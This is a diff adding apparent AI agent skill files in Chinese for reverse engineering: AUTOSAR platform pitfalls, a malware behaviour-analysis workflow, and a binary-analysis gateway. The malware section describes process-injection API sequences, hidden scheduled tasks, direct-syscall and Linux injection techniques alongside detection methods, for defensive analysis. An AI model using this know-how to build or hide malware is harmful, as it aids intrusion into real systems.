- **版本处理**:清单版本 > 存储版本 → 更新;相等 → 不操作;**更低 → 回滚**(存在有效备份时)
|
||||
- **部署期设置可以覆盖设计期设置**:逆向量产系统时,**目标部署产物优先于设计仓库里的默认配置**
|
||||
|
||||
**所以**:更新后"新程序 + 旧数据"可能是 `keepExisting`,"数据突然消失"可能是 `delete`。**这两种都不是更新失败。**
|
||||
|
||||
## 决策树
|
||||
|
||||
```
|
||||
Process 不存在
|
||||
├─ 当前 Function Group State?
|
||||
├─ 当前 Machine State?
|
||||
├─ Execution Manifest 里的 StartupConfiguration?
|
||||
└─ UCM 是否已 activate?
|
||||
|
||||
Service 找不到
|
||||
├─ FindService 本来可以返回空?
|
||||
├─ StartFindService 尚未出现 provider(availability 生命周期)?
|
||||
├─ 是 remote service instance?
|
||||
├─ 绑定是 SOME/IP 还是 DDS?
|
||||
└─ Service Instance Manifest 怎么写的?
|
||||
|
||||
Process 无 crash 却重启/复位
|
||||
├─ PHM Alive / Deadline / Logical 哪一类?
|
||||
├─ SM 的状态迁移?
|
||||
├─ PHM→看门狗复位路径?
|
||||
└─ EM 自身是否被监督?
|
||||
|
||||
更新行为奇怪
|
||||
├─ package 是 installed 还是 activated?
|
||||
├─ 依赖 Verify 是否通过?
|
||||
├─ 是否 rollback?
|
||||
└─ Persistency 策略是 keep / overwrite / delete?
|
||||
```
|
||||
|
||||
## 工具与验证
|
||||
|
||||
- 清单三件套:Execution Manifest(Modelled Process、启动参数、资源组、FG State 映射)、Service Instance Manifest(部署、绑定、E2E/安全、实例映射)、Machine Manifest(网络、服务发现、Machine State、FG、PHM)
|
||||
- 状态:当前 Machine State 与 Function Group State;supervision mode = `<machine state, function group state>`
|
||||
- 健康:SE 的监督类型与本地/全局状态、恢复动作定义
|
||||
- 更新:UCM 的阶段状态、Persistency 策略与版本比较结果
|
||||
- 验证:能同时说清「当前状态是什么 + 清单规定哪些进程/服务应活动 + 该行为来自清单还是实现」
|
||||
|
||||
## 该平台的坑(汇总)
|
||||
|
||||
- **把"bin 存在但进程不存在"当崩溃或加载失败**:先看 Function Group/Machine State
|
||||
- **把 Modelled Process 与 OS 进程 1:1 比较**:规范明确区分
|
||||
- **假设 1 个 executable 只有 1 种进程配置**:可按状态给不同配置
|
||||
- **把生命周期当作目标进程自己的责任**:真正的调用者是 SM→EM
|
||||
- **用 fork/exec/exit 图代替状态迁移图**
|
||||
- **把"发现服务返回空"当故障**:空结果是合法值,且首次回调可以为空
|
||||
- **把重复回调当重复注册**:规范要求可用性变化时回调,且实现负责串行化
|
||||
- **在本地找不到 provider 就判伪造**:handle 可指向远端实例
|
||||
- **写死 ara::com = SOME/IP**:也可能是 DDS
|
||||
- **把没有 crash 当健康**:Logical/Alive/Deadline 监督与崩溃是两回事
|
||||
- **只搜 reboot 调用者找复位原因**:看门狗路径由 PHM 触发
|
||||
- **把"包已安装"当"新版本生效"**:install/verify/activate 分开,还可能 rollback
|
||||
- **把更新后的数据保留或消失当更新失败**:keepExisting / delete 都是策略
|
||||
- **拿设计期 ARXML 当量产行为的依据**:部署期设置优先
|
||||
@@ -0,0 +1,117 @@
|
||||
# AUTOSAR Classic:RTE 执行图 / 隐式访问 / OS-Application 保护
|
||||
|
||||
<CORE RULE>
|
||||
AUTOSAR Classic 里**大量真正的控制流是配置驱动 + 代码生成出来的**:
|
||||
|
||||
```
|
||||
TimingEvent / DataReceivedEvent / OperationInvokedEvent / ...
|
||||
↓
|
||||
RTE(生成的胶水代码)
|
||||
↓
|
||||
AUTOSAR Task 或 ISR2
|
||||
↓
|
||||
RunnableEntity(业务函数)
|
||||
```
|
||||
|
||||
所以:
|
||||
|
||||
```
|
||||
void Runnable_10ms(void); ← 0 个交叉引用
|
||||
```
|
||||
|
||||
**绝不能直接判死代码。** 先找 `Rte_*` 包装、OS Task、`ActivateTask` / `SetEvent` / `WaitEvent` / Alarm / ScheduleTable,以及生成配置。
|
||||
</CORE RULE>
|
||||
|
||||
## 一、执行图:RTE 没有独立调度能力
|
||||
|
||||
- RunnableEntity 由 **RTEEvent** 激活;事件类型包括定时、数据接收/接收错误、数据发送完成/写入完成、操作调用、异步服务调用返回、模式切换(及其确认/错误)、外部与内部触发、初始化事件、OS 任务执行事件等
|
||||
- **RTE 不做调度**:每个 RTE Event 必须映射到一个具体的 OS Task,**RTE 在该 Task 被 OS 调度时按配置顺序调用相应 runnable**;映射必须写进 ECU 配置描述,作为 RTE 生成器的输入
|
||||
- RunnableEntity 在 **OS Task 或 ISR2** 中执行
|
||||
- 区分两个时刻:**activation**(RTEEvent 指向的事件发生)与 **start**(它的 C 函数在已启动的 task/ISR2 内被调用)
|
||||
- 若某 runnable 没有被任何 RTEEvent 以 `startOnEvent` 角色引用,RTE **永远不会**激活它(但映射到 BSW 可调度实体的 runnable 仍可由 BSW 调度器激活)
|
||||
|
||||
## 二、隐式访问:消费者看到"旧值"可能是设计
|
||||
|
||||
- **隐式读**生成 `Rte_IRead_<port>_<data_element>`;**隐式写**生成 `Rte_IWrite_<port>_<data_element>`;显式读是 `Rte_Read_<port>_<data_element>(DataType*)`
|
||||
- 隐式通信下,**RTE 在 runnable 被调用前自动读数据、在 runnable 结束后写回**;runnable 自身不主动发起传输;**写操作在 runnable 结束时才算完成**
|
||||
- 可观察到的顺序:先为隐式读做数据元素拷贝,**之后**才触发 runnable 调用事件;runnable 终止事件**先于**隐式写回
|
||||
- 隐式 S/R 通信**不支持 RTE API 的 trace 事件**
|
||||
|
||||
**所以**:
|
||||
|
||||
```
|
||||
Producer: x = 10; x = 20;
|
||||
Consumer runnable 执行期间一直看到 x = 10
|
||||
```
|
||||
|
||||
**可能完全符合 RTE 语义**,不是 cache/一致性 bug。
|
||||
|
||||
**分析要求**:区分 `Rte_Read_*` / `Rte_IRead_*` / `Rte_Write_*` / `Rte_IWrite_*`,而不是只追底层 RAM 地址。通信形式由配置固定,**不能事后在代码里"改掉"**。
|
||||
|
||||
## 三、`E_OS_ACCESS` 不一定是"对象坏了"
|
||||
|
||||
AUTOSAR OS 的**分区表示是 OS-Application**,带所有权与保护状态:
|
||||
|
||||
- 若某 OS 对象标识被传给系统服务(例如 `ActivateTask`),而**调用方在配置时没有被授予对该对象的访问权**(如 `OsTaskAccessingApplication`),服务**返回 `E_OS_ACCESS`**
|
||||
- 若服务调用针对**属于另一个、且不处于可访问状态的 OS-Application** 的对象,同样返回 `E_OS_ACCESS`
|
||||
- **信任(trusted)与非信任(non-trusted)应用一视同仁**:默认拒绝,只有配置显式授予才能跨应用访问
|
||||
- 例外:检查类服务(`CheckObjectAccess` 等)不需要授权——可用于调用前预判
|
||||
- 信任级别只影响少数服务(例如终止应用:受信任应用的任务/中断可终止任意 OS-Application)
|
||||
- 访问错误也可能触发保护钩子
|
||||
|
||||
**所以排查顺序是**:
|
||||
|
||||
```
|
||||
对象属于哪个 OS-Application?应用状态?trusted / non-trusted?
|
||||
内存保护?当前调用上下文?
|
||||
↓
|
||||
而不是先判"task ID 写错了"
|
||||
```
|
||||
|
||||
- 另外:**Category 1 ISR 并不由 OS 完整管理**,因此常规 OS 保护不能简单覆盖这种上下文
|
||||
|
||||
## 四、并发问题多半在 OS 配置,不在应用逻辑
|
||||
|
||||
大量互斥区处理是**生成**的(RTE 自动保护、OS 资源、BSW 临界区),而不是手写。出现并发异常时,先核对 OS 配置:**runnable 映射到哪个 Task、优先级、ISR 抢占关系**,再看应用代码。
|
||||
|
||||
## 决策树
|
||||
|
||||
```
|
||||
拿到 AUTOSAR Classic 目标
|
||||
├─ 某个 runnable 没有调用者
|
||||
│ ├─ 找 Rte_* 包装与 RTEEvent 映射
|
||||
│ ├─ 找它被映射到的 OS Task(ActivateTask/SetEvent/Alarm/ScheduleTable)
|
||||
│ └─ 别标 dead code
|
||||
├─ 变量值与预期不符
|
||||
│ ├─ 区分显式访问(Rte_Read_/Rte_Write_)与隐式访问(Rte_IRead_/Rte_IWrite_)
|
||||
│ ├─ 隐式访问在 runnable 边界做快照/写回 → "看到旧值"可能是语义
|
||||
│ └─ 别先判 cache 一致性或内存损坏
|
||||
├─ 服务调用返回 E_OS_ACCESS
|
||||
│ ├─ 查对象所属 OS-Application 与其实例状态
|
||||
│ ├─ 查当前调用上下文(哪个 task/ISR)与信任级别
|
||||
│ └─ 别先判参数错误
|
||||
├─ 进程/任务不运行
|
||||
│ ├─ 查 runnable 到 Task 的映射与 Task 是否被激活
|
||||
│ └─ 查初始化/模式相关事件
|
||||
└─ 并发异常
|
||||
└─ 先核对 OS 配置(Task 映射、优先级、抢占),再谈应用逻辑
|
||||
```
|
||||
|
||||
## 工具与验证
|
||||
|
||||
- 执行图:ECU 配置描述(runnable → RTEEvent → OS Task 的映射)与生成的 RTE 胶水代码
|
||||
- 访问语义:`Rte_Read_*` / `Rte_IRead_*` / `Rte_Write_*` / `Rte_IWrite_*` 的调用点与端口配置
|
||||
- 保护:OS-Application 归属与访问权配置、状态检查服务、保护钩子
|
||||
- 验证:能同时说清「runnable 由谁激活、在哪个 Task 里跑 + 数据是显式还是隐式访问 + 跨应用访问是否被授权」
|
||||
|
||||
## 该平台的坑(汇总)
|
||||
|
||||
- **把没有 caller 的 runnable 当死代码**:它由 RTEEvent 经 RTE 激活,映射在配置里
|
||||
- **以为 RTE 会自己调度**:RTE 无独立调度能力,事件必须映射到 OS Task
|
||||
- **混淆 activation 与 start 两个时刻**
|
||||
- **把隐式访问的"旧值"当 cache/一致性 bug**:隐式访问在 runnable 边界做快照与写回
|
||||
- **只追 RAM 地址不看 Rte_I* 系列**:无法区分显式/隐式语义
|
||||
- **把 `E_OS_ACCESS` 当参数错误**:先查 OS-Application 归属与访问权配置
|
||||
- **以为 trusted 应用可以随意跨应用访问**:默认拒绝,授权来自配置
|
||||
- **忽略 Category 1 ISR 不受 OS 完整管理**:常规保护假设在这里不成立
|
||||
- **在应用代码里找并发根因**:先核对 Task 映射、优先级与抢占配置
|
||||
178
vendor-new/rev-skills/.claude/skills/re-behavior/SKILL.md
Normal file
178
vendor-new/rev-skills/.claude/skills/re-behavior/SKILL.md
Normal file
@@ -0,0 +1,178 @@
|
||||
---
|
||||
name: re-behavior
|
||||
description: >
|
||||
恶意行为分析:持久化、注入、进程树、文件/注册表、ATT&CK 映射。
|
||||
触发词:行为分析、持久化、注册表、进程注入、它在干什么
|
||||
capabilities: [malware-behavior]
|
||||
---
|
||||
|
||||
# 恶意行为分析
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:判定样本"在干什么"——运行后的进程/文件/注册表/网络行为;识别持久化与注入;ATT&CK 战术映射
|
||||
- 用:动态分析的证据收集环节(与 [[re-tracing]] 互补)
|
||||
- 不用:样本还没在沙箱里跑过(先 [[re-sandbox]]——动态执行是强制前置,见 [[re-analyze/platform-tips]] 最高原则)
|
||||
- 不用:只需静态结论(走 [[re-triage]] / [[re-binary-core]] 域);只需内存内容(走 [[re-memdump]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
本技能分析的是沙箱运行产物——运行环境先由 [[re-sandbox]] 建立(默认沙箱最高原则,见 [[re-analyze/platform-tips]])。
|
||||
|
||||
### 沙箱产物(运行环境前置)
|
||||
|
||||
- 由 [[re-sandbox]] 建立:VM 快照 / 容器 / firejail + 网络隔离(INetSim / fake DNS / 断网)
|
||||
- 产物包括:行为日志、进程快照、INetSim 网络记录、内存转储([[re-memdump]])
|
||||
- 验证: 沙箱内样本已按 [[re-sandbox]] 步骤跑完并产出日志
|
||||
|
||||
### procmon / Process Monitor(Windows 行为记录主力)
|
||||
|
||||
- Windows: Microsoft Sysinternals —— `choco install sysinternals`,或微软官网下载 Procmon64.exe
|
||||
- Linux/macOS: 不适用(用 sysdig / bpftrace;函数级记录见 [[re-tracing]])
|
||||
- 验证: 管理员运行 Procmon64.exe,出现捕获窗口并能记录事件
|
||||
- 附加: Process Explorer(同套件)看进程树与句柄
|
||||
|
||||
### sysdig(Linux 系统行为追踪)
|
||||
|
||||
- Linux: `apt install sysdig` / `dnf install sysdig` / `pacman -S sysdig`
|
||||
- macOS/Windows: 不支持(Linux 专用);WSL 内可用 Linux 版(需 root)
|
||||
- 验证: `sysdig --version`;`sysdig -c topprocs_cpu` 能输出
|
||||
- 常用: `sysdig proc.name=target -w out.scap` 录制,事后 `sysdig -r out.scap` 回放
|
||||
|
||||
### bpftrace(Linux 内核级追踪,低开销)
|
||||
|
||||
- Linux: `apt install bpftrace` / `dnf install bpftrace` / `pacman -S bpftrace`
|
||||
- 需要内核 BTF/追踪支持;macOS/Windows 不支持
|
||||
- 验证: `bpftrace --version`;`sudo bpftrace -e 'tracepoint:syscalls:sys_enter_execve { print(comm) }'` 能打印
|
||||
- 用途: 文件写、进程启动、网络连接等高频事件,比用户态监控轻量
|
||||
|
||||
### MITRE ATT&CK 导航
|
||||
|
||||
- 无需安装: 浏览器开 https://attack.mitre.org/matrices/enterprise/ 或 Navigator(https://mitre-attack.github.io/attack-navigator/)
|
||||
- 本地部署(可选): `git clone https://github.com/mitre-attack/attack-navigator`,静态页面直接打开
|
||||
- 验证: 页面能按战术/技术检索
|
||||
|
||||
### Windows/Linux 内置命令(持久化/网络检查,零安装)
|
||||
|
||||
- Windows: `reg query`、`sc query`、`schtasks /query /fo csv`、`netstat -ano`、`Get-CimInstance Win32_StartupCommand`
|
||||
- Linux: `ps -ef --forest`、`ss -tnp`、`cat /etc/crontab`、`systemctl list-unit-files --state=enabled`
|
||||
- 验证: 各命令能正常输出
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记下结果并保存证据(路径 + sha256)。
|
||||
|
||||
1. **进程树与注入识别**:
|
||||
- Windows(沙箱内 procmon 录制中跑样本): 过滤 Process Name = 样本,用 Process Explorer 的 Tree 视图看进程树——子进程、落盘后新起的进程(dropper → payload 两段)
|
||||
- 注入特征序列(procmon / sysdig 过滤 API):
|
||||
- DLL 注入: OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread(目标进程被写 + 新线程)
|
||||
- 进程空洞: CreateProcess(SUSPENDED) → NtUnmapViewOfSection → WriteProcessMemory → SetThreadContext → ResumeThread
|
||||
- APC 注入: OpenThread → QueueUserAPC → ResumeThread
|
||||
- Linux: `sysdig proc.name=target` 看 execve/clone 序列;`ps -ef --forest` 看进程树
|
||||
- 结论记录:注入目标、注入手法、被注入进程 PID
|
||||
|
||||
2. **持久化清单**(计划任务/WMI 常被忽略,见坑 3):
|
||||
- Windows:
|
||||
```bat
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
|
||||
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
|
||||
sc query state= all
|
||||
schtasks /query /fo csv
|
||||
```
|
||||
WMI 持久化(隐藏最深): `Get-CimInstance -Namespace root\subscription -ClassName __EventConsumer`(ActiveScriptEventConsumer / CommandLineEventConsumer 是恶意常见点)
|
||||
- Linux: `cat /etc/crontab`、`ls /etc/cron.d /etc/cron.daily`、`systemctl list-unit-files --state=enabled`、`/etc/rc.local`、`/etc/profile.d/*`、`~/.bashrc`
|
||||
- 逐项记录:位置、命令/路径、是否与样本相关
|
||||
|
||||
3. **文件与注册表操作**:
|
||||
- Windows: procmon 过滤 Operation = CreateFile / WriteFile / RegSetValue / RegCreateKey,进程 = 样本;重点看 %APPDATA%、%TEMP%、%ProgramData%、Startup 文件夹
|
||||
- Linux: `sysdig -c spy_file proc.name=target`(文件读写);函数级调用用 [[re-tracing]] 的 strace 补
|
||||
- 记录的每项都算潜在 IOC(配置落地路径、下载的文件)——供 [[re-ioc]] 使用
|
||||
|
||||
4. **网络连接与 C2 特征**:
|
||||
- Windows: `netstat -ano` 对照 procmon 网络事件;沙箱 DNS 已指向 INetSim([[re-sandbox]] 步骤 2)——INetSim 日志里的 DNS 查询就是 C2 域名的直接证据
|
||||
- Linux: `ss -tnp`、`sysdig fd.type=ipv4 proc.name=target`
|
||||
- C2 特征清单:非常规端口(>1024 或 443/53 伪装)、周期心跳(固定间隔短连接)、DNS 隧道(长随机子域名)、异常 User-Agent、HTTPS 到未知 IP 且证书不匹配
|
||||
- 发现 C2 → 流量细节转 [[re-protocol]]([[re-netcap]] / [[re-proto-rev]] / [[re-crypto-id]] / [[re-crypto-keys]] / [[re-crypto-decrypt]])
|
||||
|
||||
5. **ATT&CK 战术映射**:
|
||||
- 把步骤 1-4 的行为按 ATT&CK 战术归类:初始访问、执行、持久化(T1547 / T1053 / T1543)、防御规避(T1055 注入)、命令与控制(T1071 / T1568)…
|
||||
- 每个行为写「行为 → 战术:技术 (ATT&CK ID) → 证据路径」一行,汇总成映射表进报告(供 [[re-ioc]] 报告结构使用)
|
||||
|
||||
## 行为监控工具链(Windows)
|
||||
|
||||
Windows 侧行为采集四件套:ProcMon(全系统文件/注册表/网络/进程)、API Monitor(API 级 hook)、ETW(内核侧事件)、Process Explorer(实时进程视图)。前二者为用户态采集,ETW 在内核侧;本节是采集侧视角,与 [[re-evasion]] 的绕过侧互补。除注明外均为仅 Windows 工具,Linux/macOS 对应走 [[re-tracing]](strace/ltrace/dtruss)与本文件「工具准备」的 sysdig/bpftrace。
|
||||
|
||||
### ProcMon:过滤 → 标注 → CSV 导出
|
||||
|
||||
- 过滤(Filter 对话框,Ctrl+L): 规则 = 列 + 关系 + 值,多条件叠加;列可选 Process Name / Operation / Path / Result / PID 等;关系支持如 is / is not / contains / does not contain / begins with / ends with / less than / more than / excludes(数值列用大小比较);右键事件可快速生成规则(Add to Include filter / Add process and children to Include filter)
|
||||
- 过滤是非破坏性的: 不匹配事件仍入库只是不显示;勾选 Drop Filtered Events 才真正丢弃(超高频捕获控体积用,不可恢复——需要完整证据链时别勾)
|
||||
- 标注: Include 规则把关注事件黄色高亮,Highlight(Ctrl+H)自定义高亮颜色,Exclude 灰显排除——「高亮=重点、灰显=噪音」的分层阅读
|
||||
- CSV 导出: File → Save(Ctrl+S)对话框格式选 CSV,范围选 Events displayed using current filter(先过滤再导出,控制体量);批量转换用命令行 `Procmon64.exe /OpenLog trace.pml /SaveAs out.csv`;原生 PML 保留全部字段与线程栈,可换机复盘
|
||||
- 时间线关联: 按 Time of Day 排序,把 Process Create / CreateFile / WriteFile / RegSetValue / TCP-UDP Send-Receive 对齐成「进程 → 文件 → 注册表 → 网络」证据链(对应操作步骤 1-4);Process Tree 工具(Ctrl+T)看进程父子与注入脉络
|
||||
- 事件属性 Stack 标签页给线程调用栈(可配符号服务器),核对注入/持久化 API 序列(步骤 1 与坑 5-7 的实证)
|
||||
|
||||
### API Monitor:API 级 hook 链
|
||||
|
||||
- 定位: 以导入表 hook 挂接进程内 API 调用,逐调用记录参数(字符串已解码)与返回值,调用树展示嵌套层级——Windows 侧对应 [[re-tracing]] 的 strace/ltrace
|
||||
- 用法: 管理员运行 → 选择目标进程 → 勾选 API 类(File / Network / Registry / Process / Thread)→ 附加;调用树展开到关键 API(CreateProcess / WriteProcessMemory / RegSetValue / NtWriteFile)看参数实况
|
||||
- 位宽限制(常见坑): 32 位版只能监控 32 位进程、64 位版只能监控 64 位进程——按样本位宽选 apimonitor-x86.exe / apimonitor-x64.exe
|
||||
- 安装: 官方渠道 rohitab.com(免费软件,v2 alpha,zip 解压即用);站点偶发不可达,拿到压缩包先核对校验值
|
||||
- 验证: 附加目标进程后能列出调用树并记录参数与返回值
|
||||
|
||||
### ETW:内核侧事件采集(logman / wevtutil)
|
||||
|
||||
- 定位: Windows 内置事件框架,会话创建与事件解析用系统自带命令(logman / wevtutil / tracerpt),零安装;内核侧采集不受用户态 hook 影响——直通 syscall 的注入(坑 8)只能靠内核侧事件兜底
|
||||
- 建会话(需管理员):
|
||||
|
||||
```bat
|
||||
logman create trace bhev -p Microsoft-Windows-Kernel-Process 0x10 -o bhev.etl -ets
|
||||
logman stop bhev -ets
|
||||
logman delete bhev -ets
|
||||
```
|
||||
|
||||
`-p` 指定 provider(名称或 GUID),可带关键字与级别(如 `-p Microsoft-Windows-Sysmon 0xFF 5`);内核 provider 必须显式给关键字——Kernel-Process 的 0x10 为进程关键字,0x20/0x40 为线程/镜像关键字,缺省可能静默采零事件;`logman query -ets` 看活动会话;`logman query providers` 枚举已注册 provider(管道 `findstr` 筛目标)
|
||||
- 常用 provider: Microsoft-Windows-Kernel-Process(进程创建/退出)、Microsoft-Windows-PowerShell(脚本块)、Microsoft-Windows-Sysmon(装有 Sysmon 时直接复用其事件)
|
||||
- 事件解析: .etl 转 CSV 用 `tracerpt bhev.etl -o out.csv -of csv`;事件日志用 wevtutil:
|
||||
|
||||
```bat
|
||||
wevtutil qe Security /q:"*[System[(EventID=4688)]]" /c:10 /rd:true /f:text
|
||||
wevtutil el
|
||||
wevtutil epl Security C:\secevt.evtx
|
||||
```
|
||||
|
||||
`/q` 为 XPath 过滤,`/c` 条数上限,`/rd:true` 最新在前,`/f:xml|text` 输出格式
|
||||
- 与 re-evasion 互补: 本节是采集侧;绕过侧(ETW 禁用与检测)见 [[re-evasion]]
|
||||
|
||||
### Process Explorer:实时进程视图
|
||||
|
||||
- 进程树: View → Show Process Tree(Ctrl+T)——父子关系、退出进程灰显保留;与 ProcMon 的 Process Tree 工具互补(PE 看实时、ProcMon 复盘录制)
|
||||
- 底窗: Handles(Ctrl+H)看进程打开的句柄(文件/注册表/网络对象),DLLs(Ctrl+D)看已加载模块与映射——查注入 DLL 是否落位、哪个进程握着被删文件;Hide Lower Pane(Ctrl+L)收起
|
||||
- Find Handle or DLL(Ctrl+F): 按文件/路径/键反查持有进程——找谁在读写某路径
|
||||
- 签名验证: Options → Verify Image Signatures 开启后进程列表出现 Verified Signer 列;进程属性 Image 页 Verify 按钮单查——快速区分系统合法模块与可疑注入模块(签名缺失/失效即告警,配合步骤 1)
|
||||
|
||||
### 跨 OS 约束
|
||||
|
||||
- 以上工具(ProcMon / API Monitor / Process Explorer / logman-wevtutil)均为 Windows 内置或 Windows-only;Linux/macOS 对应走 [[re-tracing]](strace/ltrace/dtruss)与「工具准备」的 sysdig / bpftrace
|
||||
- 例外注明: ProcMon 有微软官方 Linux 重实现(ProcMon-for-Linux,GitHub microsoft 仓库,preview、系统调用级,eBPF 系),实验性,正式分析仍以 sysdig/bpftrace 为主
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-malware]]:工作流第 3 步——行为分析是恶意样本判定的核心环节
|
||||
- [[re-sandbox]]:本技能全部运行与复跑必须在沙箱内(强制前置)
|
||||
- [[re-protocol]]:步骤 4 发现 C2 → 转流量捕获 / 协议重建
|
||||
- [[re-anti-analysis]]:行为异常(延迟/交互检查、检测沙箱后退出)→ 转反分析对抗域
|
||||
- [[re-tracing]]:Linux 下用 strace 系列补充 sysdig/bpftrace 的函数级调用记录
|
||||
- [[re-evasion]]:ETW 采集侧(「行为监控工具链」一节)与绕过侧互补——事件流中断即禁用证据
|
||||
- [[re-ioc]]:步骤 3/4 产出的行为证据是 IOC 提取与报告的原料
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **行为被沙箱检测绕过**:现象——样本在沙箱里只做无害行为或什么都不做,换真实机才发作;原因——沙箱检测(VM 特征、交互检查、延迟触发,见 [[re-sandbox]] 坑 4 与 [[re-anti-analysis]] 域);对策——延长观察窗口(数小时~数天)、伪造交互(输入/鼠标事件)、配合 [[re-sandbox]] 的 INetSim 完整网络、必要时用 [[re-anti-analysis]] 静态还原触发条件
|
||||
- **只看进程树漏注入**:现象——进程树里只有样本自身,但恶意行为发生在别的进程里;原因——注入型样本自进程表现无害,恶意逻辑在宿主进程执行;对策——必须查注入特征序列(步骤 1 的 API 序列),行为证据以被注入目标进程的内存与模块为准
|
||||
- **持久化藏于计划任务/WMI 常被忽略**:现象——重启后样本复活,Run 键/服务里查不到;原因——攻击者优先用计划任务(schtasks)与 WMI 事件订阅做持久化,常规检查覆盖不到;对策——持久化清单必须包含 `schtasks /query` 与 WMI __EventConsumer 查询(步骤 2),逐项核对创建时间与命令内容
|
||||
- **隐藏的计划任务常规查询查不到**:现象——`schtasks /query` 与任务计划 GUI 都看不到任务,重启后样本仍复活;原因——攻击者删除任务的安全描述符(SD)注册表值或篡改 Index 元数据,任务从常规查询中隐藏;对策——直接检查 `C:\Windows\System32\Tasks\*.xml` 与注册表 `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache`,SD 缺失即告警
|
||||
- **注入检测看系统侧信号,不只盯 API 序列**:现象——进程树无异常、API 序列未捕获,注入却已发生;原因——注入目标多为受信任系统进程,API 监控被绕过或覆盖不到;对策——配合 Sysmon 事件:8(CreateRemoteThread)、10(ProcessAccess 带 PROCESS_VM_WRITE/PROCESS_VM_OPERATION/PROCESS_CREATE_THREAD)、7(异常路径 ImageLoaded)、25(ProcessTampering,内存镜像与磁盘不一致=空洞化);空洞化样本用 PE-sieve/Hollows Hunter 扫描(内存 PE 头与磁盘不匹配)
|
||||
- **持久化位置超出 Run 键/服务**:现象——Run 键与服务清单干净,登录/启动后样本仍执行;原因——攻击者用 Winlogon Userinit、AppInit_DLLs、IFEO、COM 劫持、服务失败恢复"Run a Program"等位置(Autoruns 扫描 18+ 类 ASEP);对策——持久化清单补全上述位置(步骤 2),逐项核对路径、签名与创建时间
|
||||
- **KernelCallbackTable 注入(回调表重定向)**:现象——进程树正常、常规注入 API 序列(OpenProcess→VirtualAllocEx→WriteProcessMemory→CreateRemoteThread)一条都抓不到,注入却已发生;原因——攻击者克隆 PEB 的 KernelCallbackTable 并把某回调(如 __fnCOPYDATA)重定向到载荷,用窗口消息(WM_COPYDATA)触发,执行借合法进程身份隐藏(ATT&CK T1574.013,Lazarus/FinFisher 在用,有现成 Sigma 检测规则);对策——API 序列之外补查回调表指针指向与回调函数地址(`dt _PEB KernelCallbackTable`)、Sysmon 10 对目标进程的写入事件,配合 T1574.013 Sigma 规则与内存扫描
|
||||
- **直接/间接系统调用注入(直通 syscall)**:现象——procmon/API Monitor 等用户态 hook 监控不可见;Sysmon 10/25 等内核 ETW 事件仍可捕获,注入却已发生;原因——DirectSyscalls/IndirectSyscalls 不经 ntdll 用户态导出(或借合法模块做跳板)直发系统调用,绕掉安全产品的用户态 hook;对策——监控降级到内核侧(ETW、Sysmon 25 进程篡改、内核驱动级事件),别只依赖用户态 API 事件
|
||||
- **Linux 侧注入监控盲区**:现象——Linux 样本 `ps -ef --forest` 进程树正常、sysdig 无异常 execve,恶意代码已在目标进程里跑;原因——Linux 注入不落盘:`process_vm_writev` 无痕写目标内存、攻击者读 `/proc/<pid>/syscall` 拿目标 RSP 后在栈上构造 ROP 调 `dlopen`(DD 面向对象注入 PoC 公开于 2024)、`LD_PRELOAD` 在监控启动前已注入;对策——审计 `/etc/ld.so.preload`(auditd 规则盯其写入),audit 记录 process_vm_writev/process_vm_readv/ptrace 调用,对比磁盘文件与 `/proc/<pid>/maps` 映射来源一致性
|
||||
153
vendor-new/rev-skills/.claude/skills/re-binary-core/SKILL.md
Normal file
153
vendor-new/rev-skills/.claude/skills/re-binary-core/SKILL.md
Normal file
@@ -0,0 +1,153 @@
|
||||
---
|
||||
name: re-binary-core
|
||||
type: gateway
|
||||
description: >
|
||||
软件逆向核心网关(公共底座)。编排:初勘 → 格式解析 → 反编译 → 调试/跟踪 → 内存。
|
||||
子技能:[[re-address-space]] [[re-triage]] [[re-format-pe]] [[re-format-elf]] [[re-format-macho]]
|
||||
[[re-imports]] [[re-ghidra]] [[re-ida]] [[re-radare2]] [[re-gdb]] [[re-x64dbg]]
|
||||
[[re-lldb]] [[re-tracing]] [[re-memdump]] [[re-windbg]] [[re-binaryninja]]
|
||||
[[re-emulation]] [[re-shellcode]] [[re-kernel]] [[re-game]] [[re-go]] [[re-rust]]
|
||||
[[re-plugin-dev]] [[re-hypervisor]] [[re-anti-cheat]]、[[re-cpp-abi]]、[[re-swift]]、[[re-zig]]、
|
||||
[[re-nim]]、[[re-fp-runtime]]、[[re-variant]]、[[re-mips]]、[[re-arm]]、[[re-riscv]]。
|
||||
触发词:静态分析、看这个程序的逻辑、反编译、逆向这个二进制、binary analysis。
|
||||
capabilities: [decompilation, debugging, memory-dump, elf-parser, pe-parser, macho-parser]
|
||||
---
|
||||
|
||||
# 软件逆向核心
|
||||
|
||||
## 完整工作流
|
||||
|
||||
1. 环境:探测 + 偏好(若未走 [[re-analyze]] 入口,先补做,读取 `RE_*` 会话变量)
|
||||
2. 初勘:[[re-triage]](能力:`triage`) —— file/hash/熵/strings,确认文件类型与架构
|
||||
3. 格式解析:按类型走 [[re-format-pe]](能力:`pe-parser`) / [[re-format-elf]](能力:`elf-parser`) / [[re-format-macho]](能力:`macho-parser`)
|
||||
4. 导入导出:[[re-imports]](能力:`pe-parser`、`elf-parser`) —— 库指纹、IAT/符号,识别链接了什么
|
||||
5. 反编译:按 `RE_DECOMPILER` 走 [[re-ghidra]](能力:`decompilation`、`debugging`) / [[re-ida]](能力:`decompilation`、`debugging`) / [[re-radare2]](能力:`decompilation`;未装 → 按对应技能「工具准备」安装;默认推荐 Ghidra)
|
||||
6. 动态(按需,默认沙箱):[[re-gdb]](能力:`debugging`) / [[re-x64dbg]](能力:`debugging`) / [[re-lldb]](能力:`debugging`;按 OS)+ [[re-tracing]](能力:`tracing`) + [[re-memdump]](能力:`memory-dump`)
|
||||
7. 产出:结论 / 报告(按 `RE_REPORT`)
|
||||
|
||||
## 分析方法论
|
||||
|
||||
本网关适用的通用分析方法论(用户实战经验),各技能坑与陷阱引用此处。
|
||||
|
||||
### 入口分析
|
||||
|
||||
- **R1 入口点≠main**:EP 是初始化入口,经 CRT/TLS/loader 才到 main
|
||||
- **R2 字符串交叉引用优先于函数猜测**:关键字符串→XREF 回溯
|
||||
